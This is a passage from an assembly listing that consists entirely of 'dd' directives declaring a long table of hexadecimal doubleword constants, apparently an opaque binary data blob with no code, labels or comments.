		dd 0D631C07Ah, 24464557h, 0FC02CC22h, 0D419D649h, 40E48476h
		dd 7AC02E34h, 3437E8Ch,	65AC2F15h, 0C8090D3Bh, 2A52A106h
		dd 6D088478h, 17250412h, 0F854D94Bh, 78E097DCh,	218A608Ch
		dd 0ECDC795Dh, 0ACDDF300h, 0E2FCA647h, 0EE40C23Ch, 9C6B9CB1h
		dd 2A228384h, 49F87040h, 0DE94268Ch, 0F8F2158Fh, 5F811688h
		dd 2F1ADE8Ch, 18A430D4h, 81886497h, 0E00B76Ah, 0FE6658AEh
		dd 202B1Bh, 651E6ECFh, 0F2A782C8h, 13481261h, 0D9BFCA92h
		dd 0E1418630h, 0BD01E5AEh, 81018953h, 88412907h, 4C083F95h
		dd 0DC4E1C8Ch, 84401196h, 5E001777h, 6C71DC46h,	3C038A04h
		dd 1C9338A0h, 7E0690FBh, 29890025h, 4ED363C8h, 0A80309ADh
		dd 28E548BAh, 0DEC3AC5Dh, 3F1DE0FDh, 9033666h, 40468840h
		dd 9ADC420Eh, 70CC600Ah, 0DCA07A5Ah, 5B483555h,	4C313EC0h
		dd 0C08E8864h, 9C307F55h, 0D225146h, 7F4D5400h,	0D5437C18h
		dd 64870294h, 1256A06Eh, 8D465864h, 317F087Dh, 3BC4599Ch
		dd 7F4E5540h, 88777874h, 16210C90h, 854F1129h, 0BF09DE96h
		dd 90C3182h, 0DE8E5D10h
		dd 0BEDD910Eh, 0AB61E077h, 2885D384h, 91849471h, 18D0D17Ch
		dd 66C20337h, 34B673A5h, 0F52396A1h, 890C206Dh,	1183A40h
		dd 6C91F4F3h, 65B98561h, 0F1342618h, 1AE058D8h,	0A08311CFh
		dd 0D09E000Bh, 8A04A61Ch, 0C694A1EBh, 4516D823h, 8E5C210Ah
		dd 27F512DAh, 490AC6CBh, 848A2509h, 220897Eh, 10FFB990h
		dd 0C4877DF8h, 0A01963DAh, 1262374Ch, 893F656h,	39879550h
		dd 0BFA03026h, 0C0C78642h, 40A59A39h, 0DE01FEAEh, 292F505Eh
		dd 38740AFFh, 0CD73069Eh, 0F086256Ch, 0CC07E24h, 97604E44h
		dd 662C4FDEh, 5C70109Ah, 8DE018Fh, 96BBAE27h, 30CFCF9h
		dd 95B10B0Bh, 91609DA4h, 71287D1h, 0DB6EA111h, 0BD3F9880h
		dd 0CA8B87B2h, 64CCE902h, 850C18B1h, 0C025D5CCh, 8C70B83Ah
		dd 26449A01h, 759D9714h, 2C9E2CC0h, 5E00E7DCh, 0D200D046h
		dd 78AA7E2Dh, 9D01C3A4h, 51842562h, 0E3F8CB1Fh,	946500DEh
		dd 3A70646Ah, 80F5BB9Ah, 0B727F034h, 48E9629Fh,	4F001477h
		dd 254A53Ah, 0EF07AC48h, 8C73E875h, 82E3AA60h, 588F6028h
		dd 0C7F5EC2Fh, 4F583490h, 8C13E8F0h, 8F575300h,	1099E707h
		dd 2B9141Dh, 0EE3BBCC8h, 442C082Ch, 0F780A20Eh,	0AD7AC0D8h
		dd 0E60A45E2h, 80CDE96Fh, 56016E00h, 6EACB11h, 89509AD3h
		dd 82756834h, 0EE411F60h, 0C5051951h, 4006A018h, 0B43243DCh
		dd 2307CDC3h, 0DB51D5B1h, 0A95F31B0h, 6C8000A8h, 7776452Ch
		dd 37005D9Dh, 0D663BD94h, 0E1DD5EF5h, 464C78A8h, 0D64C0279h
		dd 313C454Ah, 448110D9h, 8CF400D6h, 0B3EEC93Dh,	270DA2CAh
		dd 991FA140h, 2B1F1D0h,	6F53132Bh, 9BC2EBDAh, 0CBC6A802h
		dd 15C4B047h, 0D7E8F463h, 660A0855h, 0C83478B1h, 39F03D47h
		dd 5D26BA2h, 0DD24FD1Fh, 7CA20438h, 45108085h, 3CA50B5Eh
		dd 0C36213C4h, 244FBF83h, 0B9BE0295h, 2CE72C92h, 0FD6009C4h
		dd 16008DA5h, 0D6782248h, 24B11E58h, 0C93038D0h, 46384C97h
		dd 0E2325100h, 0C25B9C6Ah, 4D46E0B0h, 95DC4F0Eh, 75C24808h
		dd 475F0017h, 0A0F7DDCh, 0FD1B89A4h, 10A4824h, 38244C11h
		dd 2A3808h, 178EAF3Fh, 86302D78h, 238869CDh, 0CF70003Ah
		dd 5DC69DA5h, 6F04C8A0h, 6E3828B6h, 323C99h, 2E30D9E2h
		dd 900A0042h, 0A887E367h, 3900D99Ch, 0E0F5A694h, 25248291h
		dd 409D518Dh, 6C80D511h, 7246966Eh, 0E7069A01h,	7FCB966h
		dd 5C5ACC59h, 823178C0h, 4CB1C4DFh, 7CADF184h, 0E5802585h
		dd 51820D5Ah, 96D1DC9Dh, 9E00FC22h, 0E961D76Bh,	0B97B1CEFh
		dd 1805C8B2h, 139D90BBh, 0D123A43Ah, 9E940C00h,	0C1C68EA1h
		dd 44B96450h, 0D0E9A008h, 0EA40A08Fh, 4CDD7F79h, 0AFC054D1h
		dd 626D8DA6h, 8EE099E2h, 65C13F00h, 251CB1A8h, 0DEE20787h
		dd 8CCE8106h, 61205991h, 9038050Eh, 836F3082h, 5BB08F08h
		dd 0C8A49BA5h, 90024D46h, 92664EDEh, 885B001Ch,	4186FCDEh
		dd 3D582742h, 3FDD0748h, 3E840DB5h, 0B9C414D0h,	0B8044D6Ch
		dd 4C1E3910h, 742D174Ch, 0B4C26024h, 7F533088h,	419C3611h
		dd 56800E88h, 0A8357F4Bh, 0F72C0442h, 0A3E79E69h, 0C108A768h
		dd 0C092472Eh, 230563D9h, 65130AF7h, 9CA0D826h,	0C465E20h
		dd 7B484A03h, 404C01B3h, 8CD5E810h, 0E9883200h,	3FAFDED2h
		dd 7C854898h, 0A58D5A80h, 34018046h, 0FC87BEAEh, 0E6D479A3h
		dd 0DD570723h, 69BAB992h, 0A64D047h, 9D996460h,	87A2733Fh
		dd 3059E0AFh, 1809EBB0h, 889E4D49h, 7AFB7378h, 79F501DCh
		dd 0D8943A77h, 26D7FDB4h, 0A0E4F02Ch, 11B401B0h, 17260163h
		dd 14C0364Fh, 26E3DC45h, 89C6C018h, 7D590421h, 0C069EFDCh
		dd 9F056405h, 0BCC0DD5Dh, 9815009Ch, 23BCD5FEh,	0D924629Eh
		dd 0BF165C78h, 90DD58DBh, 0D6298825h, 0A232084h, 0DEA82CB2h
		dd 3D7AC800h, 54F852CCh, 64EF2466h, 0E289065Ah,	852AD0C3h
		dd 98008CC6h, 0CCAF6A5h, 0C7C94D2h, 1E8D15E1h, 98833298h
		dd 9C26647h, 931D717Bh,	7F489C30h, 299C3313h, 4B00588Bh
		dd 2CE27F40h, 0AE2CAD50h, 0D4081C6Bh, 0A1060413h, 0C0688D7Eh
		dd 0D1505E59h, 88328208h, 0DA85D90Eh, 0E40B0084h, 6C2696DAh
		dd 0BB003FE9h, 4954D268h, 5BE2EF15h, 23103A8Dh,	39AD023Bh
		dd 0A460F2C2h, 0DF2EBEC8h, 46746409h, 27943B02h, 0BB6CA064h
		dd 0E3654E5h, 44E3B4A5h, 108D1287h, 0D595A24Dh,	1851DD03h
		dd 0D24F352Dh, 82D8E08Ch, 873606C8h, 0D0B6473Fh, 0FDF7C8A1h
		dd 4E6071A1h, 0C10F880Ch, 0C0F81B34h, 0D4590291h, 0C44A2498h
		dd 182D44Bh, 0E5D057Ah,	81A45E89h, 83D42C8Eh, 211FE042h
		dd 7458B1C6h, 91071CE4h, 0D48500Ch, 370559C1h, 72D8B065h
		dd 0A898C225h, 0F879260Ch, 86148970h, 53AB201Fh, 198B438Ch
		dd 0A11365A7h, 1AA00D6h, 0CBBC7F68h, 0A5763Eh, 2F278DAEh
		dd 9848743Fh, 0B952004h, 41181504h, 0FCF41724h,	4C1C8C4Eh
		dd 501194DCh, 5831708Ch, 0FFDC4400h, 0ECC934A1h, 1B7E0388h
		dd 0E479E545h, 3D846002h, 0F2FCB247h, 72E2ECF8h, 0A4EC0020h
		dd 614FC807h, 553B63F8h, 89AE00DDh, 8D4ACED5h, 7040B3E7h
		dd 0AC0043C7h, 937EFD76h, 0B922EEB9h, 17F00874h, 91DEA00Ch
		dd 149CA8FCh, 0BCBD094Ah, 0B000EF09h, 55516645h, 36003496h
		dd 2C2360AEh, 48A20079h, 8E637B15h, 9403A799h, 0CD9E3F8Dh
		dd 0F10880DCh, 0D5ED2647h, 0A86885B4h, 0CBA82530h, 0C776C8CCh
		dd 0FE5E20D6h, 2F03BE4Eh, 0D154570h, 6661110Fh,	0FC8A9721h
		dd 30148AC4h, 0A602A05h, 91ACBF5h, 9E6A8088h, 0A8AA3906h
		dd 80854027h, 6CE22534h, 59920AF3h, 0CAC2D2Eh, 5571C486h
		dd 0D7671100h, 27D1CB19h, 4FA14F1Bh, 0D9C00C4Ch, 7B43EBA0h
		dd 84F10571h, 3DE3FDC0h, 48C8860Bh, 743CF617h, 0ACBE002Ch
		dd 0F280F701h, 5669038Ah, 0EFEA6FD7h, 0C53022h,	16337BD2h
		dd 29BBDB23h, 7D285C09h, 1490E466h, 0A52EEB36h,	3A037E00h
		dd 89C1238h, 47409860h,	0C719110Dh, 5829D90h, 0CB988068h
		dd 3D72DCE9h, 64CE0603h, 12352551h, 23A13850h, 4D84BFCh
		dd 40C0C3ADh, 17D6443h,	44EA59B9h, 53781C4Eh, 9ABF00ACh
		dd 6AA4DDBBh, 0FDD86800h, 9F06C475h, 2FFA24A1h,	490EB954h
		dd 51C1686Dh, 85C38642h, 8DEC25E9h, 92E438F1h, 177896D0h
		dd 0A6509365h, 3327F88h, 0CB00A870h, 0F1D9FE4Ch, 24DBF54h
		dd 10D41ED7h, 906106DEh, 0C080041Dh, 289C75CFh,	0F9FD987Dh
		dd 373EE068h, 0B452133Eh, 33CD8440h, 47112C86h,	901AEED7h
		dd 2441188Eh, 0E05C9C0Ch, 0D8609113h, 25054529h, 729780EDh
		dd 0B88B0D31h, 0B43C0174h, 0CABD3F80h, 6454D112h, 1C043ECCh
		dd 480BC359h, 1A21CF3h,	6086DC30h, 9A4389C8h, 703D4759h
		dd 215C8138h, 546CD5E8h, 0B430C431h, 0A8DA0544h, 0F3098950h
		dd 308BB250h, 0C899A152h, 0F583B400h, 0C4FA35h,	0F499ACFFh
		dd 2D94A49Eh, 0ECD0BB12h, 10FC2446h, 9A3000B9h,	7B8D71B3h
		dd 8A3A17E0h, 9BC8D058h, 8E5581E0h, 0ACB40198h,	0BD7868E0h
		dd 957430F6h, 5499A0Eh,	9D8E476Ah, 0D4A08475h, 1DDF1F27h
		dd 443A562h, 0CA03CDC3h, 0CEC96EA8h, 9CC4B865h,	19940B64h
		dd 7065E7A1h, 0CB8051CFh, 0B48DF9BCh, 99ECC612h, 0A4952440h
		dd 32CCFDF6h, 13181FF7h, 70B41104h, 2CB9171Eh, 88B05D30h
		dd 1805C096h, 0C4439A4Bh, 0CC6E8060h, 8D49A891h, 5A7E851h
		dd 4E90CC57h, 0AF9E06Eh, 0DBFE0119h, 0E251008Ah, 6081ED5Ch
		dd 79596609h, 4720A03Ch
		dd 1B077864h, 87D1C0Ch,	0FCC943C7h, 555A19C6h, 0CA01A86Eh
		dd 3A247051h, 88ADD80Fh, 9882A34Ah, 0B73F003Eh,	88B90CB5h
		dd 0D61813D1h, 7C41202h, 0E02B1CA8h, 80294240h,	544BB89Ch
		dd 419F0882h, 2D103BD8h, 0E40A50Ch, 2990B1ACh, 1809D1C0h
		dd 4B200BDh, 965ECBA6h,	9A0C12A2h, 7851B548h, 0BEE31797h
		dd 5E981224h, 656A446Ch, 9009179Eh, 738C421Dh, 0BB5970C0h
		dd 9CD52B0Eh, 2151CBE4h, 86A11EE8h, 2876A83Ch, 4EE41BCBh
		dd 0C86F3Eh, 0E3C923AEh, 298F2CFAh, 7640ED5h, 648A823Fh
		dd 0B8CA253Eh, 50063DFh, 0ABC8827Ch, 66161C6Ah,	0C9418677h
		dd 3900D03Dh, 6E3D693h,	735C9DC2h, 188A3B94h, 1AC08067h
		dd 49E513F0h, 80D3E0ACh, 0D41A58h, 0F7E30A25h, 41647B4Ah
		dd 810F1132h, 6E82E0AEh, 0B1F67888h, 8490072Ch,	4FB0434Dh
		dd 0A97083Ch, 0B0714618h, 3B5844A5h, 4E1DBB9Eh,	3DE64004h
		dd 1B5C8708h, 65F7AD00h, 62B3A31Eh, 3A714F35h, 5CC234Ch
		dd 8287D775h, 8CA24170h, 18689466h, 8741792h, 0B6BAC8C0h
		dd 0C7E4FF4Fh, 10D81861h, 0C52338E2h, 58D25538h, 0FA680278h
		dd 78644F09h, 44182848h, 0A2391E28h, 14071ECCh,	4327804Ch
		dd 0B9865CA4h, 7EA0000Ch, 0B4CCB834h, 0E7D900F5h, 6771E40Ch
		dd 5502C345h, 6EB99375h, 491872C4h, 99801C44h, 0EA6641DEh
		dd 52580CBCh, 0FDDE0191h, 0FCF13A0Ah, 3198112h,	706316B5h
		dd 4085F420h, 0C609430Bh, 72319149h, 0B28211A0h, 0B8304C4Fh
		dd 432E8C01h, 3508AC4Eh, 0B04F12F8h, 0A0800E24h, 3E1E2D61h
		dd 3B11A41Dh, 0F25BB380h, 0A30182B9h, 911546D6h, 0E82C8E60h
		dd 4A048C76h, 399C4D7Fh, 49200162h, 557F42h, 180C7588h
		dd 2D6E905Fh, 10648604h, 28C914DBh, 96FCB9E0h, 59060520h
		dd 6690418Eh, 9D2AFD49h, 0D02CA119h, 0B52290A8h, 0D69E0926h
		dd 60739A44h, 98A5370h,	8906F120h, 6360D60Ch, 4A011012h
		dd 4CEF20A0h, 0EC02008Fh, 0BAB6404Dh, 0F441847h, 7E70A260h
		dd 829C3809h, 0F67CD840h, 910460A7h, 0A065613Ch, 0AC7030E0h
		dd 491B3107h, 8971DCEEh, 0D06042EDh, 3807401Ch,	0B0A8741Eh
		dd 0B4D5B0Fh, 60FB80D6h, 497C8Fh, 3DA5D51Dh, 8CA4D4B6h
		dd 0AC393007h, 94404B65h, 16FE2211h, 48431F6h, 3D7EE5Ch
		dd 4A05409Ah, 0B786E51h, 89DBE95Eh, 5CD84202h, 612F40D0h
		dd 0CA00B9BCh, 0AD54CD31h, 2150A8D7h, 952712E9h, 818491ECh
		dd 9F1319F7h, 1FA451E2h, 0E017EFC3h, 4B80D291h,	1BFD1503h
		dd 24A4AC90h, 74646A01h, 27FEA107h, 408F062h, 0FD444D5Bh
		dd 9490654Bh, 0AD0764A6h, 8662CCECh, 64BC9F14h,	8CD9ECh
		dd 25095D0Dh, 0DE369071h, 832603F6h, 74403C9Eh,	7BBF77Fh
		dd 136F8E4Ah, 45BC00Eh,	0A0747D1Eh, 0EF7ED58h, 838A1D16h
		dd 0E0BF5517h, 5632208h, 2E4DDAA7h, 0E2E0C09Bh,	0DE3A1588h
		dd 51240265h, 82149DCDh, 524C9ED9h, 93B0584Ch, 3C294733h
		dd 4C182140h, 0ED49C563h, 8697A0C2h, 0BEAFEC1h,	0D4063D84h
		dd 0F11389Dh, 0EA01DF80h, 7225B860h, 0BE6CA727h, 0ECC76D20h
		dd 28349C2Dh, 2FC34408h, 0FE750C17h, 1C618029h,	80755FE9h
		dd 40E0F476h, 0F3060A31h, 0EFE18D87h, 0EB511760h, 0FB02244h
		dd 0BCB9E421h, 9234052Eh, 88009A59h, 8451C102h,	0EBF9DC3Ch
		dd 2782E380h, 0C487D54h, 9F80E4A9h, 90456962h, 0D1D138D9h
		dd 3358E218h, 0CE261258h, 408D20A4h, 0A58DA28h,	0BC982E34h
		dd 0A4676h, 78D28F45h, 0BFA54Eh, 0BB33A867h, 0EEC61118h
		dd 7040A74Fh, 0C4948C5Ah, 65482D97h, 62D5D820h,	990072C9h
		dd 7A8337CBh, 9EAD79h, 0A1F53004h, 928F4F85h, 0BF0F3CB8h
		dd 1473317h, 18050D46h,	92629C52h, 703053D8h, 867690B5h
		dd 0FCCD301Dh, 928BD881h, 0E03C9AB9h, 0C06E5Bh,	0D9EDAEBFh
		dd 0BDCC7BAh, 7B6013C8h, 0B3293850h, 15792C4Fh,	280B7F18h
		dd 0F027172h, 237C8A0h,	0BBD12AD2h, 19FE4C0h, 4E7E8A2h
		dd 9281514Fh, 20BAE1D4h, 8D200544h, 4EAF0312h, 9E620AABh
		dd 0C85FD691h, 11EA1E97h, 91A8979Fh, 7F3B83D9h,	45E5D037h
		dd 2E5A1CF3h, 0FD440FA7h, 0A4E415E1h, 0B258738Dh, 0F948303Bh
		dd 17EBE06h, 2C99758Ah,	40644518h, 7D60123Fh, 0DB943A02h
		dd 0E0745983h, 9E105C60h, 0BA6C8E6Ch, 0D4B69104h, 4D4C254h
		dd 9CB29225h, 0D9C98619h, 764AD866h, 0F9DFAB07h, 0E1406A21h
		dd 0FFA78E22h, 5AEAA180h, 0DEFF1F2Ch, 7B052076h, 0FDB0403Dh
		dd 350094E2h, 98AC6A42h, 662F4E38h, 11BC9D32h, 0CC36800Eh
		dd 2069355h, 0D471A68h,	0E4D0E7B5h, 80016A27h, 0B9E57B68h
		dd 0CE8E4F60h, 0C30E8848h, 2AF8ABF1h, 49624C77h, 641AAD68h
		dd 0B57C716Ch, 46BD7C9Dh, 55FC960Fh, 8C8EEC49h,	8D448B1h
		dd 46506DA1h, 1795594Ah, 8015918Ch, 6997E070h, 0B810B77Dh
		dd 6700E218h, 0FE0F1560h, 48C14966h, 4F071029h,	45884D47h
		dd 0AFDCF579h, 0E8341008h, 6FC0069h, 81012A09h,	0DD0378D4h
		dd 41B31EFBh, 97559137h, 0AF1D8C0h, 4F58D6DCh, 8A9FC0C4h
		dd 0D0A081CCh, 26C2D2DCh, 0D0C9057Ah, 63131804h, 0C3DA93Ch
		dd 88014526h, 7CD246F4h, 4F938E17h, 3DD1EC04h, 52CB060Fh
		dd 0C8688860h, 0EF06997Ch, 209ECBFh, 18160978h,	1C294442h
		dd 0D670B07Bh, 4612040Bh, 0C1788E95h, 0AF39E170h, 0C3780h
		dd 77F4DA0Fh, 221375BDh, 8C137C21h, 1FC18004h, 0D90E8946h
		dd 4C80E49Ch, 2FC1D0DEh, 0FF201838h, 5D8E190Ch,	13D70F17h
		dd 4C48D00h, 6240DFh, 17A1B31Bh, 4F07F876h, 0A09B3E1Ch
		dd 937AAC84h, 38BCA0A8h, 2F1A758Ch, 400F16Ah, 6430C6BEh
		dd 9E025898h, 0D91548B5h, 25BC8010h, 0C29BC89Ah, 8A834E28h
		dd 0CB4D6481h, 587D02h,	4B65F8A3h, 93E78D77h, 2A3570C4h
		dd 0FEF9C02h, 40CC06DCh, 2C9198B4h, 409425B2h, 409A36EAh
		dd 4E48FB01h, 4AA1863Ch, 9C02F478h, 9013957Dh, 0C2BE3C80h
		dd 0FDA04D43h, 440197A4h, 473F2894h, 6F6F7E96h,	0CB400B70h
		dd 823C921Bh, 0D8FB0A4h, 0A2283350h, 772C300Eh,	0CAE21203h
		dd 0F244DE09h, 444F469h, 0E8F09A3Dh, 6C7B25C0h,	1C95B79Ch
		dd 0F4900E91h, 0D2A100Fh, 0EC2F19C0h, 0A7810F2Dh, 2C1D49ECh
		dd 0A68C9307h, 3A465E08h, 6091F107h, 120C0ACBh,	64B0E4FDh
		dd 83D6C700h, 274DE325h, 3B8503CFh, 0AE446EFFh,	0C95682F5h
		dd 0D794879h, 8E038218h, 0B8F85272h, 618919Ch, 0B98C020h
		dd 9FEC9213h, 0DAD968D1h, 15093F18h, 1FF850Ch, 64937363h
		dd 8A1468F6h, 792500B9h, 6F4D24ACh, 193C2DC4h, 3F9684E5h
		dd 0CE09DE0h, 686D0048h, 119C5487h, 0E20ED622h,	8216DC03h
		dd 0F47B2C82h, 0CECF45Ch, 13D32901h, 1A80A15Ah,	0A5AC2C2Bh
		dd 1C8D5124h, 2014676h,	0EB03DD4Bh, 0ED39C08Eh,	0FC8F0548h
		dd 0A0365D59h, 4A27B958h, 4B10A228h, 0EC020991h, 8D02D7A6h
		dd 2868C4DDh, 3004A0h, 0EE15D75h, 10E41940h, 989A1300h
		dd 0AE3B78E2h, 4C00974Eh, 0C5416687h, 0B83EE89Eh, 494D2E2h
		dd 1FD90CC7h, 82A0C8ACh, 7A1CD65Bh, 20B53915h, 1ACB8881h
		dd 1E9F2193h, 0DD096218h, 73A87136h, 0A8CF707Ch, 5F59460Bh
		dd 0D0FC814Dh, 9865EFB2h, 0FCA2F015h, 8F30D0F2h, 3F7F04B7h
		dd 0C1FB884Ch, 0A5795038h, 44E44C50h, 0C4448527h, 2BB7224h
		dd 264ED3E5h, 0C7EE17Bh, 393D0840h, 62D20030h, 0AE74A7A9h
		dd 0A814225Ah, 1D169FDh
		dd 14EF97FFh, 583D4018h, 40DEE840h, 276B3DC7h, 6AC4206Eh
		dd 0E630DF74h, 39ED00BFh, 0BBE4FBAEh, 444A1865h, 745328D1h
		dd 0A197BFE0h, 0ACE0ED28h, 71A70AC7h, 170C99B0h, 90881DD5h
		dd 0FCD80339h, 9C6511h,	196D6E21h, 0CDB76FAAh, 56922F0Dh
		dd 112A7817h, 180074F0h, 0A95493B1h, 0B0744460h, 23BA0300h
		dd 4C0E43CCh, 0CB5A14FAh, 0FD241819h, 91480A0h,	2D089D13h
		dd 0F1A46F00h, 0B366DFA6h, 27DC70DEh, 70401A59h, 670906C4h
		dd 72CDFE80h, 81070C20h, 861024B2h, 47023091h, 50FD0515h
		dd 608A1090h, 0DFBF0394h, 8C41C60Bh, 4B05B8B0h,	6A0880E0h
		dd 7A078B68h, 1ECACD2Eh, 5C9DA9DCh, 4062C962h, 0E84B4865h
		dd 0C0569387h, 81498916h, 1EA798C1h, 4E143983h,	1BB00FB5h
		dd 0DD00EE72h, 8856BB76h, 4B32DCC1h, 20208898h,	97D84789h
		dd 9EC52572h, 2E211CC4h, 8A299FD7h, 86700544h, 0A18F049Ah
		dd 0C4289895h, 6168416h, 0A8C41EA1h, 0DCD4FCA8h, 40B4B706h
		dd 0B912D910h, 0BCB2C3C2h, 23E42F5Ah, 0F790000Dh, 0EDCE773h
		dd 0EACAA901h, 267EC4E3h, 73B80028h, 8633078Ch,	0A54A44C8h
		dd 8209C110h, 6B42D92h,	1ED95166h, 38D54CD0h, 807568C4h
		dd 0A00CDBD7h, 0BECD1716h, 7672B482h, 107DC48h,	0B9660E86h
		dd 84E433F5h, 1A24407Ah, 0EF98462Fh, 470240E8h,	7F9ED0Dh
		dd 805482D2h, 2BBB1FAFh, 96075D1h, 0C10A9106h, 2CC60810h
		dd 1C17EF58h, 9E8D64D6h, 0A4E308D5h, 196260B8h,	98E57137h
		dd 57600CE4h, 8F051BD6h, 39629C43h, 24A890D6h, 47401DBDh
		dd 0BF035874h, 480949ECh, 42396818h, 0B29593C4h, 0D47876B0h
		dd 83B95D09h, 3C0848A0h, 0C6F80773h, 0A348B192h, 78535AE9h
		dd 3039A258h, 0EC13E93Ch, 8445C159h, 542EF592h,	25000923h
		dd 0E3AAB040h, 0D957126Eh, 58180499h, 0C8C8AD0Bh, 1187081Dh
		dd 0BEB39E02h, 5078F2ECh, 4EF3A015h, 0C878CE08h, 82F0C289h
		dd 6CB1A660h, 26402756h, 2C09C81Ch, 0D9087111h,	21180Fh
		dd 0B7A5E828h, 6172DA1Ah, 60EA802Fh, 4EB9E4E4h,	3F3C000Ch
		dd 398548AEh, 4A010F76h, 0BC84A3B1h, 52B118Ch, 40E6FDE4h
		dd 0ED7D0CA4h, 0C504EBD6h, 0C7A9DA2Ah, 0D922ECACh, 0A1077A09h
		dd 54F862E2h, 2CF96BD0h, 86148A78h, 1E103F07h, 2DB52FFEh
		dd 6AF170D7h, 78206009h, 7948024Eh, 25837464h, 0E5009476h
		dd 4737903Eh, 2EE75A8Dh, 0FD5239Ch, 5600FEEFh, 9E3A1626h
		dd 0C848C86Fh, 0AC41830Eh, 0AEF2E007h, 23189260h, 2882E500h
		dd 8BAFFFFDh, 6CC200BCh, 439C4102h, 61CEC185h, 80038E7Bh
		dd 0D39E398Eh, 2089C46h, 0BF2CD6DCh, 0BA625462h, 8E8968DEh
		dd 9C594Dh, 7B88417Ah, 6876CB0Ch, 8449289Ch, 14A94C50h
		dd 0DDB94CD4h, 0FC100C17h, 51EF021Ch, 50929C39h, 45167478h
		dd 0C80CD1Dh, 953864FDh, 0CD4064CFh, 3A560502h,	0EA04882Eh
		dd 0AD476768h, 0BC8A92A0h, 0CAC00FC8h, 3C8BD585h, 0F0AE3453h
		dd 0D17E08D4h, 773DD002h, 2C9D5517h, 60177788h,	3B12D233h
		dd 1C67A0E0h, 5DD02879h, 4438A14h, 0D39171F3h, 0D3CCAC96h
		dd 1C894CBh, 596490C0h,	30879DEDh, 6092D1A4h, 0ECA0286Eh
		dd 3E098CD1h, 740A015Ch, 4A241100h, 0C0B3E485h,	6AC008B7h
		dd 0B0014B8Fh, 257474E8h, 405B114Ah, 0FCCABB70h, 1FE300C2h
		dd 42A095D8h, 4131036h,	0DCD2A14Ch, 0F3A3E0D0h,	0FA180044h
		dd 0C379C416h, 2401C1E3h, 5750638h, 208AAAF1h, 87F087BFh
		dd 0E963794Fh, 96531081h, 0F482D009h, 7B040295h, 733C4AE5h
		dd 0FB737828h, 3BE4627Ch, 0EE658D25h, 9D8224E8h, 0A9004BE0h
		dd 8E54C206h, 7CD2E6F9h, 88CB862Ah, 595ADF00h, 1A11F363h
		dd 602748Bh, 0D25C5EDh,	0A303819Fh, 1F422661h, 98E14B64h
		dd 800BAEFCh, 0D12582C2h, 0F420007Ch, 0FE0FEE8h, 0FCDFD900h
		dd 9B3E7760h, 484F4835h, 38814D89h, 4016646Dh, 367A6398h
		dd 96544F13h, 76F144F2h, 0EA50C17h, 0D6D77DEBh,	495C05FCh
		dd 84C0B415h, 648AF0B6h, 0B84CD077h, 26407174h,	89E40860h
		dd 0A0494518h, 906E3B0Fh, 4D47BA00h, 0F6A24A9Ah, 98165113h
		dd 4BC9852h, 8C8CF8h, 0C9253DF7h, 43E177B2h, 758A6F00h
		dd 0BCDBB73Fh, 0A14018D0h, 149E6016h, 70F14099h, 7397C18h
		dd 0EDAC0482h, 1400E3FDh, 4C366F88h, 0AFB03BFCh, 3A09A901h
		dd 8D5CDC94h, 18B4282Bh, 0BB3F39C0h, 658662ADh,	0C447891Ch
		dd 9401AB7Bh, 88CAED44h, 1DCD51F0h, 485D598h, 0C30E4B6Fh
		dd 3FA050FCh, 10979637h, 2C4F3358h, 5C1127h, 0D83D0E68h
		dd 2E030DFCh, 3E1B045Bh, 961CA03Bh, 11FD011Eh, 14FFBAF1h
		dd 26299A8Eh, 96180121h, 488E6B67h, 0E3920B6Fh,	641405C4h
		dd 0A42F267Eh, 0CF148410h, 0A0FC6ADFh, 6E29FD40h, 0B785C7Bh
		dd 49960503h, 0CAB05B83h, 70B6161Dh, 304ABFh, 20411817h
		dd 0E4980B79h, 6C20D76Ah, 89B0824Bh, 0D31F0008h, 0D225CBF6h
		dd 0E07046C2h, 41324591h, 7331F144h, 3184E294h,	2B517103h
		dd 9CED6425h, 0A300B4B8h, 99DC607Eh, 598AA106h,	0C324A0CCh
		dd 3E1E03C0h, 0B6907A3Fh, 0DDE253F3h, 0AEA30902h, 68770526h
		dd 63911220h, 3293593Fh, 1800EEC3h, 9ABCD8A2h, 52D181Eh
		dd 2C0ADBD6h, 264C573h,	654FBDF4h, 5CC86C83h, 6CFDF600h
		dd 26DE2740h, 60F8007Dh, 4C1938FBh, 3317F079h, 0C8D9E232h
		dd 0CA8BC6Dh, 0C16E0901h, 0D1ED4725h, 140054E2h, 0CB0A2492h
		dd 3BD4CEEAh, 8849A059h, 3493CCBDh, 888B9001h, 143C9C5Ah
		dd 2D2FFAF1h, 0AC6A7F44h, 0DC258C14h, 0DC42E22Dh, 74696056h
		dd 6C00DCECh, 6B15A6EDh, 0B4D18A01h, 3CA0B0h, 36786A06h
		dd 0FA5C2902h, 16005EECh, 0F824CC7Ah, 249809C0h, 9805742h
		dd 787154ECh, 0C8A4FD97h, 0C9EF009Dh, 28F0070Eh, 0A6018AAAh
		dd 7F9C90BAh, 30E09F94h, 3D8B065h, 3F374845h, 92889147h
		dd 98A1C76Dh, 8259C0DEh, 1BF9CA60h, 729F9C39h, 0D41D97B5h
		dd 0E281D191h, 72888351h, 90796C8Ch, 0C8615C60h, 4808A392h
		dd 0C66910A4h, 2C822D7Ch, 463D7C9Fh, 0C13F2200h, 484CE728h
		dd 3D30AE07h, 856B178Bh, 4C309320h, 957AA2BAh, 0C567092h
		dd 0A1217667h, 70382872h, 5E909C8Eh, 0F23D82Fh,	0B3125207h
		dd 26F1C727h, 0B069A0ADh, 0A67B0070h, 0AC2C140Ah, 202697BCh
		dd 1A11BC75h, 643A7B07h, 7234C0D1h, 503AE18Bh, 44D41FFFh
		dd 34A62B16h, 6AF248E0h, 0D44FFF2h, 636700BEh, 5F5EFE21h
		dd 0E5005B77h, 5736E6C3h, 2E18D281h, 619C9BBDh,	35336488h
		dd 83E3A28h, 400FD923h,	9501A07Eh, 32B1EFh, 0C318AFD7h
		dd 50765BEEh, 0D52D2498h, 0AE54273Bh, 0A5807BE9h, 7591E017h
		dd 11150580h, 0E257173h, 1330C651h, 2466123Fh, 841EBACCh
		dd 0ADD5906h, 96380920h, 5878C16Ah, 9E1870EFh, 4595F892h
		dd 8111EE48h, 0D0780C03h, 0C9A492E4h, 2856E059h, 9E6F00D6h
		dd 0FC1705B9h, 0F0D2CD24h, 7523C03Ah, 0B5F99400h, 1CA73DBFh
		dd 6F591CE1h, 6160E08Ah, 0DCF00DA6h, 0E001358Eh, 2A2CE88h
		dd 1A3E0515h, 0B7557190h, 0D20C80C0h, 5A470DD8h, 0B3005E73h
		dd 936F5CFDh, 2441EEE3h, 960C02D1h, 0E078F6D5h,	27D348h
		dd 0D130C51Bh, 0B964654Ah, 0A02A6C20h, 4E029074h, 5B6440A1h
